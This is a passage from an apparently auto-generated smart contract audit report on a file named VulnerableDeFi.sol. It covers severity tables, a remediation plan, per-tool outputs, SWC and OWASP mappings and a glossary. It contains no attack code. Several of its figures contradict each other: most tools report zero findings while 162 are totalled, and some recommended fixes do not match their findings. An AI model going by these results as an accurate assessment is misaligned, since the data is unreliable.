108	threat_model	CRITICAL	Immediate fix required
109	threat_model	CRITICAL	Immediate fix required
124	threat_model	CRITICAL	Immediate fix required
125	threat_model	CRITICAL	Immediate fix required
128	threat_model	CRITICAL	Immediate fix required
129	threat_model	CRITICAL	Immediate fix required
135	Potential Rug Pull Pattern	HIGH	Immediate fix required
137	Potential Rug Pull Pattern	HIGH	Immediate fix required
139	Ownership Not Renounced	HIGH	Immediate fix required
140	Token Security Issue	HIGH	Immediate fix required
143	Token Security Issue	HIGH	Immediate fix required
144	Proxy/Upgrade Vulnerability	CRITICAL	Immediate fix required
145	High Centralization Risk	HIGH	Immediate fix required
148	No Timelock or Multi-sig	HIGH	Immediate fix required
149	Missing Transaction Deadline	HIGH	Immediate fix required
150	MEV Exposure Detected	CRITICAL	Immediate fix required
151	MEV Exposure Detected	HIGH	Immediate fix required
154	suicidal	CRITICAL	Immediate fix required

6.2 Remediation Timeline

PHASE	WEEK	PRIORITY	FINDINGS	ACTION
1	Week 1	Critical & High	26 + 17	Immediate remediation required
2	Week 2	Medium	80	Address medium severity issues
3	Week 3	Low & Info	29 + 10	Fix low priority items
4	Week 4	Verification	-	Re-audit and validation

6.3 Quick Wins

The following fixes provide high security impact with minimal effort: - **missing_event_emission** - Add missing events for state changes - **floating_pragma** - Update Solidity version pragma - **denial_of_service** - Add reentrancy guard modifier - **threat_model** - Add missing events for state changes - **threat_model** - Add missing events for state changes

6.4 Effort vs Impact Matrix

		IMPACT		
		Low	Medium	High
E F F O R T		Avoid 0	Consider 8	Schedule 36
	High ↑ Med ↑ Low	Defer 5	Plan 70	Priority 7
		If Time 34	Quick Win 2	DO FIRST! 0

Prioritization Summary:

- 📌 **Quick Wins (2)**: Low effort, medium impact - easy improvements
- ⚡ **Priority (7)**: Medium effort, high impact - plan these next
- 📌 **Schedule (36)**: High effort, high impact - important but complex

7. Appendices

Appendix A: Tool Execution Details

A.1. slither

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.2. aderyn

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.3. solhint

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.4. wake

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.5. semgrep

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.6. fouranalyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 20

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 20  
  
Findings summary:  
1. [MEDIUM] centralization_risk (line 27)  
2. [MEDIUM] centralization_risk (line 33)  
3. [MEDIUM] centralization_risk (line 38)  
4. [MEDIUM] centralization_risk (line 43)  
5. [MEDIUM] centralization_risk (line 59)  
6. [MEDIUM] centralization_risk (line 65)  
7. [MEDIUM] centralization_risk (line 28)  
8. [LOW] missing_zero_address_check (line 38)  
9. [LOW] missing_zero_address_check (line 59)  
10. [LOW] missing_zero_address_check (line 88)  
... and 10 more
```

A.7. echidna

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.8. medusa

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.9. foundry

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.10. dogefuzz

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.11. vertigo

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.12. hardhat

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.13. mythril

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.14. manticore

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.15. halmos

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.16. oyente

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.17. pakala

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.18. certora

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.19. smtchecker

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.20. propertygpt

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.21. scribble

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.22. solcmc

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.23. smartllm

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.24. gptscan

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.25. llmsmartaudit

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.26. gptlens

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.27. llamaaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.28. iaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.29. dagnn

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.30. smartbugs_ml

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.31. smartbugs_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.32. smartguard

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.33. peculiar

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.34. threat_model

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.35. gas_analyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.36. mev_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.37. contract_clone_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.38. defi

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.39. advanced_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.40. upgradability_checker

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

Appendix B: Files Analyzed

#	FILE PATH	LINES	FUNCTIONS	FINDINGS
1	VulnerableDeFi.sol	135	17	162

Appendix C: SWC Registry Compliance

SWC ID	TITLE	STATUS	FINDING(S)
SWC-101	Integer Overflow and Underflow	⚠ Found	F1
SWC-102	Outdated Compiler Version	🚫 Not Found	--
SWC-103	Floating Pragma	⚠ Found	F1
SWC-104	Unchecked Call Return Value	⚠ Found	F1, F2
SWC-105	Unprotected Ether Withdrawal	⚠ Found	F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12, F13, F14
SWC-107	Reentrancy	🚫 Not Found	--
SWC-109	Uninitialized Storage Pointer	⚠ Found	F1
SWC-112	Delegatecall to Untrusted Callee	⚠ Found	F1, F2, F3, F4, F5
SWC-113	DoS with Failed Call	⚠ Found	F1, F2, F3, F4, F5
SWC-115	Authorization through tx.origin	🚫 Not Found	--
SWC-116	Block values as a proxy for time	⚠ Found	F1, F2, F3, F4, F5, F6, F7, F8

Appendix D: OWASP Smart Contract Top 10

RANK	CATEGORY	STATUS	FINDINGS
SC01	Reentrancy Attacks	🔴	0
SC02	Access Control Vulnerabilities	🟡	14
SC03	Arithmetic Issues	🟡	1
SC04	Unchecked Return Values	🟡	3
SC05	Denial of Service	🟡	5
SC06	Bad Randomness	🟡	5
SC07	Front-Running	🟡	2
SC08	Time Manipulation	🟡	8
SC09	Short Address Attack	🟡	4

Appendix E: Glossary

TERM	DEFINITION
Reentrancy	A vulnerability where an external call allows execution to re-enter the calling contract before the first execution completes
Integer Overflow	When an arithmetic operation results in a value larger than can be stored in the variable
Front-running	Exploiting knowledge of pending transactions to gain an advantage
Flash Loan Attack	Using uncollateralized loans within a single transaction to manipulate protocols
Oracle Manipulation	Attacking price feeds or external data sources to influence contract behavior
Access Control	Mechanisms that restrict who can execute sensitive functions

Appendix F: Audit Trail

EVENT	TIMESTAMP	HASH
Contract Snapshot	2026-02-02	N/A
Analysis Started	2026-02-02	--
Analysis Completed	2026-02-02 15:31:50	--
Report Generated	2026-02-02 15:31:50	--
Report Hash	2026-02-02 15:31:50	N/A

Disclaimer

This audit report is provided on an "AS IS" basis without warranties of any kind, whether express or implied. The findings and recommendations represent the auditor's professional opinion based on the scope and methodology described.

Limitations: - This audit does not guarantee the absence of vulnerabilities - Smart contract security is an evolving field - New vulnerabilities may be discovered post-audit - Economic and governance attacks may not be fully modeled - The client is responsible for implementing and testing fixes

Powered by [MIESC](<https://github.com/fboiero/MIESC>) Multi-layer Intelligent Evaluation for Smart Contracts *Report generated: 2026-02-02 15:31:50* *Report Version: 1.0*